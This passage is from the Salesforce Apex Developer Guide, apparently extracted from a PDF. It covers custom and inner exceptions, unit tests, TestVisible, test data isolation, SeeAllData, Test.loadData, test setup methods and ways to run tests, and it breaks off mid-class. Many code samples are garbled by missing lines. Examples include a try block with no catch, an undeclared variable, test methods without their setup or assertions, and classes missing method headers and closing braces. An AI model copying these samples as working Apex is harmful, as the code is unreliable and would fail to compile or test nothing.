
You can’t throw built-in Apex exceptions. You can only catch them. But with custom exceptions, you can throw and catch them in your
methods. Custom exceptions enable you to specify detailed error messages and have more custom error handling in your catch blocks.
Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces,
and so on.
To create your custom exception class, extend the built-in Exception class and make sure your class name ends with the word
Exception, such as “MyException” or “PurchaseException”. All exception classes extend the system-defined base class Exception,
and therefore, inherits all common Exception methods.
This example defines a custom exception called MyException.
public class MyException extends Exception {}
Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this inheritance
tree. For example:
public class BaseException extends Exception {}
public class OtherException extends BaseException {}
570
try {
Integer i;
// Your code here
if (i < 5) throw new OtherException('This is bad');
} catch (BaseException e) {
// This catches the OtherException
}
Here are some ways you can create your exceptions objects, which you can then throw.
You can construct exceptions:
• With no arguments:
new MyException();
• With a single String argument that specifies the error message:

new MyException('This is bad');
• With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);
• With both a String error message and a chained exception cause that displays in any stack trace:
new MyException('This is bad', e);
Rethrowing Exceptions and Inner Exceptions

After catching an exception in a catch block, you have the option to rethrow the caught exception variable. This is useful if your method
is called by another method and you want to delegate the handling of the exception to the caller method. You can rethrow the caught
exception as an inner exception in your custom exception and have the main method catch your custom exception type.
The following example shows how to rethrow an exception as an inner exception. The example defines two custom exceptions,
My1Exception and My2Exception, and generates a stack trace with information about both.
// Define two custom exceptions

public class My1Exception extends Exception {}
public class My2Exception extends Exception {}
try {
// Throw first exception
throw new My1Exception('First exception');
} catch (My1Exception e) {
// Throw second exception with the first
// exception variable as the inner exception
throw new My2Exception('Thrown with inner exception', e);
}
This is how the stack trace looks like resulting from running the code above:
15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception
15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception
15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1
571
15:52:21:000 FATAL_ERROR Caused by

15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1
The example in the next section shows how to handle an exception with an inner exception by calling the getCause method.
Inner Exception Example

Now that you’ve seen how to create a custom exception class and how to construct your exception objects, let’s create and run an
example that demonstrates the usefulness of custom exceptions.
1. In the Developer Console, create a class named MerchandiseException and confirm that it has this content.
public class MerchandiseException extends Exception {
You’ll use this exception class in the second class that you create. The curly braces at the end enclose the body of your exception
class, which we left empty because we get some free code—our class inherits all the constructors and common exception methods,
such as getMessage, from the built-in Exception class.
2. Next, create a second class named MerchandiseUtility.

public class MerchandiseUtility {
public static void mainProcessing() {
try {
insertMerchandise();
} catch(MerchandiseException me) {
System.debug('Message: ' + me.getMessage());
System.debug('Cause: ' + me.getCause());
System.debug('Line number: ' + me.getLineNumber());
System.debug('Stack trace: ' + me.getStackTraceString());
}
}
public static void insertMerchandise() {

try {
// Insert merchandise without required fields
insert m;
// Something happened that prevents the insertion
// of Employee custom objects, so throw a more
// specific exception.
throw new MerchandiseException(
'Merchandise item could not be inserted.', e);
}
}
}
This class contains the mainProcessing method, which calls insertMerchandise. The latter causes an exception by
inserting a Merchandise without required fields. The catch block catches this exception and throws a new exception, the custom
MerchandiseException you created earlier. Notice that we called a constructor for the exception that takes two arguments: the error
message, and the original exception object. You might wonder why we are passing the original exception? Because it is useful
information—when the MerchandiseException gets caught in the first method, mainProcessing, the original exception
(referred to as an inner exception) is really the cause of this exception because it occurred before the MerchandiseException.
572
Apex Developer Guide Testing Apex
3. Now let’s see all this in action to understand better. Execute the following:
MerchandiseUtility.mainProcessing();
4. Check the debug log output. You should see something similar to the following:
18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted.
18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First
exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing:
[Description, Price, Total Inventory]: [Description, Price, Total Inventory]
18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22
18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace:
Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1
A few items of interest:
• The cause of MerchandiseException is the DmlException. You can see the DmlException message also that states that required
fields were missing.
• The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of
MerchandiseException.
throw new MerchandiseException('Merchandise item could not be inserted.', e);
Testing Apex
Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage results.
Let's talk about unit tests, data visibility for tests, and the tools that are available on the Force.com platform for testing Apex. We'll also
describe testing best practices and a testing example.
IN THIS SECTION:
Understanding Testing in Apex
What to Test in Apex
What are Apex Unit Tests?
Understanding Test Data
Apex test data is transient and isn’t committed to the database.
Run Unit Test Methods
To verify the functionality of your Apex code, execute unit tests. You can run Apex test methods in the Developer Console, in Setup,
in the Force.com IDE, or using the API.
Testing Best Practices
Testing Example
Testing and Code Coverage
The Apex testing framework generates code coverage numbers for your Apex classes and triggers every time you run one or more
tests. Code coverage indicates how many executable lines of code in your classes and triggers have been exercised by test methods.
Write test methods to test your triggers and classes, and then run those tests to generate code coverage information.
573
Code Coverage Best Practices

Consider the following code coverage tips and best practices.
Build a Mocking Framework with the Stub API
Apex provides a stub API for implementing a mocking framework. A mocking framework has many benefits. It can streamline and
improve testing and help you create faster, more reliable tests. You can use it to test classes in isolation, which is important for unit
testing. Building your mocking framework with the stub API can also be beneficial because stub objects are generated at runtime.
Because these objects are generated dynamically, you don’t have to package and deploy test classes. You can build your own
mocking framework, or you can use one built by someone else.
Understanding Testing in Apex

Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
Why Test Apex?

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your
application works as expected, that there are no unexpected behaviors, your customers are going to trust you more.
There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing through the
user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality: up to 200 records can
be passed through your code if it's invoked using SOAP API or by a Visualforce standard set controller.
An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written
comprehensive tests, you can ensure that a regression is not introduced with any new functionality.
Before you can deploy your code or package it for the Force.com AppExchange, the following must be true.
Note the following.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.

Salesforce runs all tests in all organizations that have Apex code to verify that no behavior has been altered as a result of any service
upgrades.
What to Test in Apex

Salesforce recommends that you write tests for the following:
Single action
Test to verify that a single record produces the correct, expected result.
574
Bulk actions
Any Apex code, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only the single
record case, but the bulk cases as well.
Positive behavior
Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out everything
correctly and did not go past the limits.
Negative behavior
There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative amount,
and so on. You must test for the negative case and verify that the error messages are correctly produced as well as for the positive,
within the limits cases.
Restricted user
Test whether a user with restricted access to the sObjects used in your code sees the expected behavior. That is, whether they can
run the code or receive error messages.
Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed.
For examples of these types of tests, see Testing Example on page 595.
What are Apex Unit Tests?

To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the @isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with @isTest.
For example:
@isTest
private class myClass {
static testMethod void myTest() {
// code_block
}
}
Here is the same test class as in the previous example but it defines the test method with the @isTest annotation instead.
@isTest
private class myClass {
@isTest static void myTest() {
// code_block
}
}
Use the @isTest annotation to define classes and methods that only contain code used for testing your application. The @isTest
annotation on methods is equivalent to the testMethod keyword. The @isTest annotation can take multiple modifiers within
parentheses and separated by blanks.
This is an example of a test class that contains two test methods.

@isTest
575
// Methods for testing

}

}
Classes and methods defined as @isTest can be either private or public. The access level of test classes methods doesn’t
matter. This means you don’t need to add an access modifier when defining a test class or test methods. The default access level in Apex
is private. The testing framework can always find the test methods and execute them, regardless of their access level.
Classes defined as @isTest must be top-level classes and can't be interfaces or enums.
Methods of a test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't be
called by a non-test request.
This example shows a class and its corresponding test class. This is the class to be tested. It contains two methods and a constructor.
public class TVRemoteControl {
// Volume to be modified
Integer volume;
// Constant for maximum volume value
static final Integer MAX_VOLUME = 50;
// Constructor
public TVRemoteControl(Integer v) {
// Set initial value for volume
volume = v;
}
public Integer increaseVolume(Integer amount) {

volume += amount;
if (volume > MAX_VOLUME) {
volume = MAX_VOLUME;
}
return volume;
}
public Integer decreaseVolume(Integer amount) {

volume -= amount;
if (volume < 0) {
volume = 0;
}
return volume;
}
public static String getMenuOptions() {

return 'AUDIO SETTINGS - VIDEO SETTINGS';
}
576
This is the corresponding test class. It contains four test methods. Each method in the previous class is called. Although this would have
been enough for test coverage, the test methods in the test class perform additional testing to verify boundary conditions.
@isTest
class TVRemoteControlTest {
@isTest static void testVolumeIncrease() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(15);
System.assertEquals(25, newVolume);
}
@isTest static void testVolumeDecrease() {

Integer newVolume = rc.decreaseVolume(15);
}
@isTest static void testVolumeIncreaseOverMax() {

Integer newVolume = rc.increaseVolume(100);
}
@isTest static void testVolumeDecreaseUnderMin() {

Integer newVolume = rc.decreaseVolume(100);
}
@isTest static void testGetMenuOptions() {

// Static method call. No need to create a class instance.
String menu = TVRemoteControl.getMenuOptions();
System.assertNotEquals(null, menu);
System.assertNotEquals('', menu);
}
}
Unit Test Considerations

Here are some things to note about unit tests.
• Starting with Salesforce API 28.0, test methods can no longer reside in non-test classes and must be part of classes annotated with
isTest. See the TestVisible annotation to learn how you can access private class members from a test class.
• Test methods can’t be used to test Web service callouts. Instead, use mock callouts. See Test Web Service Callouts and Testing HTTP
Callouts.
• You can’t send email messages from a test method.
• Since test methods don’t commit data created in the test, you don’t have to delete test data upon completion.
• If a test class contains a static member variable, and the variable’s value is changed in a testSetup or test method, the new value isn’t
preserved. Other test methods in this class get the original value of the static member variable. This behavior also applies when the
static member variable is defined in another class and accessed in test methods.
577
• For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
• Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated
record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to the database
before they're created. Since test methods don't commit data, they don't result in the creation of FeedTrackedChange records.
Similarly, field history tracking records (such as AccountHistory) can't be created in test methods because they require other sObject
records to be committed first (for example, Account).
IN THIS SECTION:
1. Accessing Private Test Class Members
SEE ALSO:
IsTest Annotation
Accessing Private Test Class Members

Test methods are defined in a test class, separate from the class they test. This can present a problem when having to access a private
class member variable from the test method, or when calling a private method. Because these are private, they aren’t visible to the test
class. You can either modify the code in your class to expose public methods that will make use of these private class members, or you
can simply annotate these private class members with TestVisible. When you annotate private or protected members with this
annotation, they can be accessed by test methods and only code running in test context.
This example shows how TestVisible is used with private member variables, a private inner class with a constructor, a private
method, and a private custom exception. All these can be accessed in the test class because they’re annotated with TestVisible.
The class is listed first and is followed by a test class containing the test methods.
public class VisibleSampleClass {
// Private member variables
@TestVisible private Integer recordNumber = 0;
@TestVisible private String areaCode = '(415)';
// Public member variable
public Integer maxRecords = 1000;
// Private inner class

@TestVisible class Employee {
String fullName;
String phone;
// Constructor
@TestVisible Employee(String s, String ph) {
fullName = s;
phone = ph;
}
}
// Private method
@TestVisible private String privateMethod(Employee e) {
System.debug('I am private.');
recordNumber++;
String phone = areaCode + ' ' + e.phone;
578
String s = e.fullName + '\'s phone number is ' + phone;

System.debug(s);
return s;
}
// Public method
public void publicMethod() {
maxRecords++;
System.debug('I am public.');
}
// Private custom exception class

@TestVisible private class MyException extends Exception {}
}
// Test class for VisibleSampleClass

@isTest
private class VisibleSampleClassTest {
// This test method can access private members of another class

// that are annotated with @TestVisible.
VisibleSampleClass sample = new VisibleSampleClass ();
// Access private data members and update their values

sample.recordNumber = 100;
sample.areaCode = '(510)';
// Access private inner class

VisibleSampleClass.Employee emp =
new VisibleSampleClass.Employee('Joe Smith', '555-1212');
// Call private method

String s = sample.privateMethod(emp);
// Verify result
System.assert(
s.contains('(510)') &&
s.contains('Joe Smith') &&
s.contains('555-1212'));
}
// This test method can throw private exception defined in another class
// Throw private exception.
try {
throw new VisibleSampleClass.MyException('Thrown from a test.');
} catch(VisibleSampleClass.MyException e) {
// Handle exception
}
}

// Access public method.
579
// No @TestVisible is used.
VisibleSampleClass sample = new VisibleSampleClass ();
sample.publicMethod();
}
The TestVisible annotation can be handy when you upgrade the Salesforce API version of existing classes containing mixed test
and non-test code. Because test methods aren’t allowed in non-test classes starting in API version 28.0, you must move the test methods
from the old class into a new test class (a class annotated with isTest) when you upgrade the API version of your class. You might
run into visibility issues when accessing private methods or member variables of the original class. In this case, just annotate these private
members with TestVisible.
Understanding Test Data

Apex test data is transient and isn’t committed to the database.
This means that after a test method finishes execution, the data inserted by the test doesn’t persist in the database. As a result, there is
no need to delete any test data at the conclusion of a test. Likewise, all the changes to existing records, such as updates or deletions,
don’t persist. This transient behavior of test data makes the management of data easier as you don’t have to perform any test data
cleanup. At the same time, if your tests access organization data, this prevents accidental deletions or modifications to existing records.
By default, existing organization data isn’t visible to test methods, with the exception of certain setup objects. You should create test
data for your test methods whenever possible. However, test code saved against Salesforce API version 23.0 or earlier has access to all
data in the organization. Data visibility for tests is covered in more detail in the next section.
IN THIS SECTION:
Isolation of Test Data from Organization Data in Unit Tests
Using the isTest(SeeAllData=true) Annotation
Annotate your test class or test method with IsTest(SeeAllData=true) to open up data access to records in your
organization.
Loading Test Data
Using the Test.loadData method, you can populate data in your test methods without having to write many lines of code.
Common Test Utility Classes for Test Data Creation
Common test utility classes are public test classes that contain reusable code for test data creation.
Using Test Setup Methods
Use test setup methods (methods that are annotated with @testSetup) to create test records once and then access them in
every test method in the test class. Test setup methods can be time-saving when you need to create reference or prerequisite data
for all test methods, or a common set of records that all test methods operate on.
Isolation of Test Data from Organization Data in Unit Tests

Starting with Apex code saved using Salesforce API version 24.0 and later, test methods don’t have access by default to pre-existing data
in the organization, such as standard objects, custom objects, and custom settings data, and can only access data that they create.
However, objects that are used to manage your organization or metadata objects can still be accessed in your tests such as:
• User
• Profile
• Organization
580
• AsyncApexJob
• CronTrigger
• RecordType
• ApexClass
• ApexTrigger
• ApexComponent
• ApexPage
Whenever possible, you should create test data for each test. You can disable this restriction by annotating your test class or test method
with the IsTest(SeeAllData=true) annotation.
Test code saved using Salesforce API version 23.0 or earlier continues to have access to all data in the organization and its data access
is unchanged.
Data Access Considerations
• If a new test method saved using Salesforce API version 24.0 or later calls a method in another class saved using version 23.0 or
earlier, the data access restrictions of the caller are enforced in the called method; that is, the called method won’t have access
to organization data because the caller doesn’t, even though it was saved in an earlier version.
• The IsTest(SeeAllData=true) annotation has no effect when added to Apex code saved using Salesforce API version
23.0 and earlier.
• This access restriction to test data applies to all code running in test context. For example, if a test method causes a trigger to
execute and the test can’t access organization data, the trigger won’t be able to either.
• If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread, so test data isolation
is no longer enforced. In this case, the test will be able to access all data in the organization after initiating the Visualforce request.
However, if the Visualforce request performs a callback, such as a JavaScript remoting call, any data inserted by the callback
won't be visible to the test.
• For Apex saved using Salesforce API version 27.0 and earlier, the VLOOKUP validation rule function always looks up data in the
organization, in addition to test data, when fired by a running Apex test. Starting with version 28.0, the VLOOKUP validation rule
function no longer accesses organization data from a running Apex test and looks up only data created by the test, unless the
test class or method is annotated with IsTest(SeeAllData=true).
• There might be some cases where you can’t create certain types of data from your test method because of specific limitations.
Here are some examples of such limitations.
– Some standard objects aren’t createable. For more information on these objects, see the Object Reference for Salesforce and
Force.com.
– For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must
have unique names. This happens whether or not your test is annotated with IsTest(SeeAllData=true).
– Records that are created only after related records are committed to the database, like tracked changes in Chatter. Tracked
changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated
record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to
the database before they're created. Since test methods don't commit data, they don't result in the creation of
FeedTrackedChange records. Similarly, field history tracking records (such as AccountHistory) can't be created in test methods
because they require other sObject records to be committed first (for example, Account).
Using the isTest(SeeAllData=true) Annotation

Annotate your test class or test method with IsTest(SeeAllData=true) to open up data access to records in your organization.
581
This example shows how to define a test class with the @isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
public class TestDataAccessClass {
// This test accesses an existing account.

// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.

Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.

Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
This second example shows how to apply the @isTest(SeeAllData=true) annotation on a test method. Because the class
that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable
access to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in
addition to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.

static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates

// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
582
System.debug('UserName: ' + u.UserName);

System.debug('Email: ' + u.Email);
// Can access the test account that is created here.

Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
Considerations for the @IsTest(SeeAllData=true) Annotation

• If a test class is defined with the @isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the (deprecated) testMethod keyword.
• The @isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, if the containing class has been annotated with @isTest(SeeAllData=true), annotating a method with
@isTest(SeeAllData=false) is ignored for that method. In this case, that method still has access to all the data in
the organization. Annotating a method with @isTest(SeeAllData=true) overrides, for that method, an
@isTest(SeeAllData=false) annotation on the class.
Loading Test Data

Using the Test.loadData method, you can populate data in your test methods without having to write many lines of code.
Follow these steps:
1. Add the data in a .csv file.
2. Create a static resource for this file.
3. Call Test.loadData within your test method and passing it the sObject type token and the static resource name.
For example, for Account records and a static resource name of myResource, make the following call:
List<sObject> ls = Test.loadData(Account.sObjectType, 'myResource');
The Test.loadData method returns a list of sObjects that correspond to each record inserted.
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension.
The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines
are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:
• text/csv
• application/vnd.ms-excel
• application/octet-stream
• text/plain
Test.loadData Example
The following are steps for creating a sample .csv file and a static resource, and calling Test.loadData to insert the test records.
583
1. Create a .csv file that has the data for the test records. This sample .csv file has three account records. You can use this sample content
to create your .csv file.
Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry
sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San
Francisco,CA,94105,US
sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite
300,San Francisco,CA,94105,US
sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San
Francisco,CA,94105,US
2. Create a static resource for the .csv file:

a. From Setup, enter Static Resources in the Quick Find box, then select Static Resources.
b. Click New.
c. Name your static resource testAccounts.
d. Choose the file you created.
e. Click Save.
3. Call Test.loadData in a test method to populate the test accounts.

@isTest
private class DataUtil {
static testmethod void testLoadData() {
// Load the test accounts from the static resource
List<sObject> ls = Test.loadData(Account.sObjectType, 'testAccounts');
// Verify that all 3 test accounts were created
System.assert(ls.size() == 3);
// Get first test account

Account a1 = (Account)ls[0];
String acctName = a1.Name;
System.debug(acctName);
// Perform some testing using the test records

}
}
Common Test Utility Classes for Test Data Creation

Common test utility classes are public test classes that contain reusable code for test data creation.
Public test utility classes are defined with the isTest annotation, and as such, are excluded from the organization code size limit and
execute in test context. They can be called by test methods but not by non-test code.
The methods in the public test utility class are defined the same way methods are in non-test classes. They can take parameters and can
return a value. The methods should be declared as public or global to be visible to other test classes. These common methods can be
called by any test method in your Apex classes to set up test data before running the test. While you can create public methods for test
data creation in a regular Apex class, without the isTest annotation, you don’t get the benefit of excluding this code from the
organization code size limit.
584
This is an example of a test utility class. It contains one method, createTestRecords, which accepts the number of accounts to
create and the number of contacts per account. The next example shows a test method that calls this method to create some data.
@isTest
public class TestDataFactory {
public static void createTestRecords(Integer numAccts, Integer numContactsPerAcct) {
List<Account> accts = new List<Account>();
for(Integer i=0;i<numAccts;i++) {
Account a = new Account(Name='TestAccount' + i);
accts.add(a);
}
insert accts;
List<Contact> cons = new List<Contact>();

for (Integer j=0;j<numAccts;j++) {
Account acct = accts[j];
// For each account just inserted, add contacts
for (Integer k=numContactsPerAcct*j;k<numContactsPerAcct*(j+1);k++) {
cons.add(new Contact(firstname='Test'+k,
lastname='Test'+k,
AccountId=acct.Id));
}
}
// Insert all contacts for all accounts
insert cons;
}
}
The test method in this class calls the test utility method, createTestRecords, to create five test accounts with three contacts
each.
@isTest
TestDataFactory.createTestRecords(5,3);
// Run some tests
}
}
Using Test Setup Methods

Use test setup methods (methods that are annotated with @testSetup) to create test records once and then access them in every
test method in the test class. Test setup methods can be time-saving when you need to create reference or prerequisite data for all test
methods, or a common set of records that all test methods operate on.
Test setup methods can reduce test execution times especially when you’re working with many records. Test setup methods enable
you to create common test data easily and efficiently. By setting up records once for the class, you don’t need to re-create records for
each test method. Also, because the rollback of records that are created during test setup happens at the end of the execution of the
entire class, the number of records that are rolled back is reduced. As a result, system resources are used more efficiently compared to
creating those records and having them rolled back for each test method.
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
585
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
Example
The following example shows how to create test records once and then access them in multiple test methods. Also, the example shows
how changes that are made in the first test method are rolled back and are not available to the second test method.
@isTest
private class CommonTestSetup {
@testSetup static void setup() {

// Create common test accounts
List<Account> testAccts = new List<Account>();
for(Integer i=0;i<2;i++) {
testAccts.add(new Account(Name = 'TestAcct'+i));
}
insert testAccts;
}
@isTest static void testMethod1() {

// Get the first test account by using a SOQL query
Account acct = [SELECT Id FROM Account WHERE Name='TestAcct0' LIMIT 1];
// Modify first account
acct.Phone = '555-1212';
// This update is local to this test method only.
update acct;
// Delete second account

Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
// This deletion is local to this test method only.
delete acct2;
// Perform some testing

}
@isTest static void testMethod2() {

// The changes made by testMethod1() are rolled back and
// are not visible to this test method.
// Get the first account by using a SOQL query
Account acct = [SELECT Phone FROM Account WHERE Name='TestAcct0' LIMIT 1];
// Verify that test account created by test setup method is unaltered.
System.assertEquals(null, acct.Phone);
// Get the second account by using a SOQL query

Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
586
// Verify test account created by test setup method is unaltered.

System.assertNotEquals(null, acct2);
// Perform some testing

}
Test Setup Method Considerations

• Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has
access to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods aren’t supported in
this class. Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those
versions only.
• You can have only one test setup method per test class.
• If a fatal error occurs during the execution of a test setup method, such as an exception that’s caused by a DML operation or an
assertion failure, the entire test class fails, and no further tests in the class are executed.
• If a test setup method calls a non-test method of another class, no code coverage is calculated for the non-test method.
Run Unit Test Methods

To verify the functionality of your Apex code, execute unit tests. You can run Apex test methods in the Developer Console, in Setup, in
the Force.com IDE, or using the API.
You can run these groupings of unit tests.
• Some or all methods in a specific class
• Some or all methods in a set of classes
• A predefined suite of classes, known as a test suite
• All unit tests in your org
To run a test, use any of the following:
• The Salesforce user interface
• The Force.com IDE
• The Force.com Developer Console
• The API
All Apex tests that are started from the Salesforce user interface (including the Developer Console) run asynchronously and in parallel.
Apex test classes are placed in the Apex job queue for execution. The maximum number of test classes that you can run per 24-hour
period is the greater of 500 or 10 multiplied by the number of test classes in the org. For sandbox and Developer Edition organizations,
this limit is higher and is the greater of 500 or 20 multiplied by the number of test classes in the org.
Note: Apex tests that run as part of a deployment always run synchronously and serially.
Running Tests Through the Salesforce User Interface

You can run unit tests on the Apex Test Execution page. Tests started on this page run asynchronously, that is, you don't have to wait
for a test class execution to finish. The Apex Test Execution page refreshes the status of a test and displays the results after the test
completes.
587
1. From Setup, enter Apex Test Execution in the Quick Find box, then select Apex Test Execution.
2. Click Select Tests....
Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking
Compile all classes on the Apex Classes page so that they appear in the list. See Manage Apex Classes.
3. Select the tests to run. The list of tests includes only classes that contain test methods.
• To select tests from an installed managed package, select the managed package’s corresponding namespace from the drop-down
list. Only the classes of the managed package with the selected namespace appear in the list.
• To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local classes that
aren't from managed packages appear in the list.
• To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether or not
they are from a managed package.
Note: Classes with tests currently running don't appear in the list.
4. Click Run.
After you run tests using the Apex Test Execution page, you can view code coverage details in the Developer Console.
From Setup, enter Apex in the Quick Find box, select Apex Test Execution, then click View Test History to view all test results
for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.
Running Tests Using the Force.com IDE

You can execute tests with the Force.com IDE. See Apex Test Results View in the Force.com IDE Developer Guide.
Running Tests Using the Force.com Developer Console

In the Developer Console, you can execute some or all tests in specific test classes, set up and run test suites, or run all tests. The Developer
Console runs tests asynchronously in the background, unless your test run includes only one class and you’ve not chosen Always Run
Asynchronously in the Test menu. Running tests asynchronously lets you work in other areas of the Developer Console while tests are
running. Once the tests finish execution, you can inspect the test results in the Developer Console. Also, you can inspect the overall code
coverage for classes covered by the tests.
For more information, see the Developer Console documentation in the Salesforce Help.
588
Running Tests Using the API

You can use the runTests() call from the SOAP API to run tests synchronously.
RunTestsResult[] runTests(RunTestsRequest ri)
This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific namespace,
as specified in the RunTestsRequest object. It returns the following.
• Total number of tests that ran
• Code coverage statistics
• Error information for each failed test
• Information for each test that succeeds
• Time it took to run the test
For more information on runTests(), see SOAP API and SOAP Headers for Apex on page 3025.
You can also run tests using the Tooling REST API. Use the /runTestsAsynchronous/ and /runTestsSynchronous/
endpoints to run tests asynchronously or synchronously. For usage details, see Force.com Tooling API: REST Resources.
Running Tests Using ApexTestQueueItem

You can run tests asynchronously using ApexTestQueueItem and ApexTestResult. These objects let you add tests to the Apex job queue
and check the results of the completed test runs. This process enables you to not only start tests asynchronously but also schedule your
tests to execute at specific times by using the Apex scheduler. See Apex Scheduler for more information.
Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job
executes the test methods in the class. After the job executes, ApexTestResult contains the result for each single test method
executed as part of the test.
To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status
field to Aborted.
If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that
a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.
The maximum number of test queue items, and hence classes, that you can insert in the Apex job queue is the greater of 500 or 10
multiplied by the number of test classes in the org. For sandbox and Developer Edition organizations, this limit is higher and is the greater
of 500 or 20 multiplied by the number of test classes in the org.
This example uses DML operations to insert and query the ApexTestQueueItem and ApexTestResult objects. The
enqueueTests method inserts queue items for all classes that end with Test. It then returns the parent job ID of one queue item,
which is the same for all queue items because they were inserted in bulk. The checkClassStatus method retrieves all queue
items that correspond to the specified job ID. It then queries and outputs the name, job status, and pass rate for each class. The
checkMethodStatus method gets information of each test method that was executed as part of the job.
public class TestUtil {
// Enqueue all classes ending in "Test".

public static ID enqueueTests() {
ApexClass[] testClasses =
[SELECT Id FROM ApexClass
WHERE Name LIKE '%Test'];
if (testClasses.size() > 0) {
ApexTestQueueItem[] queueItems = new List<ApexTestQueueItem>();
for (ApexClass cls : testClasses) {
589
queueItems.add(new ApexTestQueueItem(ApexClassId=cls.Id));
}
insert queueItems;
// Get the job ID of the first queue item returned.

ApexTestQueueItem item =
[SELECT ParentJobId FROM ApexTestQueueItem
WHERE Id=:queueItems[0].Id LIMIT 1];
return item.parentjobid;
}
return null;
}
// Get the status and pass rate for each class

// whose tests were run by the job.
